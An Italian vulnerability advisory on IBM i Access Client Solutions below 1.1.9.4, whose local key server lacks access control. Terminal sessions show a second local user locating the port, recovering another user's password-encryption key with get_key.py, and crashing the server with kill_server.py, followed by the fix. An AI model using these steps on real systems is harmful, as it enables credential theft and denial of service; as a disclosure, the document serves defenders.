
IBM i Access Client Solution < 1.1.9.4 - Controllo di accesso interrotto del server locale.
IBM i Access Client Solutions < 1.1.9.4 - Controllo di accesso interrotto sul server locale.
IBM i Access Client Solutions per memorizzare la chiave di crittografia temporanea della password utilizza un server locale separato che viene avviato su una porta tcp6 casuale. L'applicazione recupera questa chiave di crittografia temporanea senza alcun controllo di accesso.
Il server locale può essere facilmente trovato usando il comando netstat:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
Possiamo confermare i dettagli di questo server locale usando il comando ps:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
Possiamo ottenere la chiave di crittografia temporanea della password dal server locale avviato dall'utente mmajchrowicz usando lo script get_key.py dall'account mkubiak:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ./get_key.py 34307
IBM AS400 Secret Key Recovery Tool v0.2 by Michal Majchrowicz AFINE Team
Received data len: 288
Received data in hex format: b'aced00057372001c636f6d2e69626d2e696163636573732e626173652e4c6d5265706c79000000000000000102000449000b6d5f636f6e646974696f6e4c00056d5f6578637400154c6a6176612f6c616e672f5468726f7761626c653b4c000e6d5f657874656e646564446174617400124c6a6176612f6c616e672f537472696e673b4c000b6d5f7265706c79436f64657400284c636f6d2f69626d2f696163636573732f626173652f4c6d5265706c79245265706c79436f64653b787000000000707400087a6d2f2f69637a2f7e720026636f6d2e69626d2e696163636573732e626173652e4c6d5265706c79245265706c79436f646500000000000000001200007872000e6a6176612e6c616e672e456e756d0000000000000000120000'
Received data in ascii format: b'\xac\xed\x00\x05sr\x00\x1ccom.ibm.iaccess.base.LmReply\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04I\x00\x0bm_conditionL\x00\x05m_exct\x00\x15Ljava/lang/Throwable;L\x00\x0em_extendedDatat\x00\x12Ljava/lang/String;L\x00\x0bm_replyCodet\x00(Lcom/ibm/iaccess/base/LmReply$ReplyCode;xp\x00\x00\x00\x00pt\x00\x08zm//icz/~r\x00&com.ibm.iaccess.base.LmReply$ReplyCode\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00xr\x00\x0ejava.lang.Enum\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00'
Secret key: zm//icz/
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$
Possiamo terminare il server locale avviato dall'utente mmajchrowicz usando lo script kill_server.py dall'account mkubiak:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ./kill_server.py 34307
IBM AS400 Access Client Credentials Server DoS Tool v0.2 by Michal Majchrowicz AFINE Team
Error: [Errno 104] Connection reset by peer
Credentials server seems to be dead :)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep 34307
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$
Questo problema è stato causato dalla mancanza di controllo di accesso sull'origine della richiesta. Questo problema è stato risolto in IBM i Access Client Solutions 1.1.9.4.
< 1.1.9.4
Aggiornare IBM i Access Client Solutions alla versione 1.1.9.4 o successiva.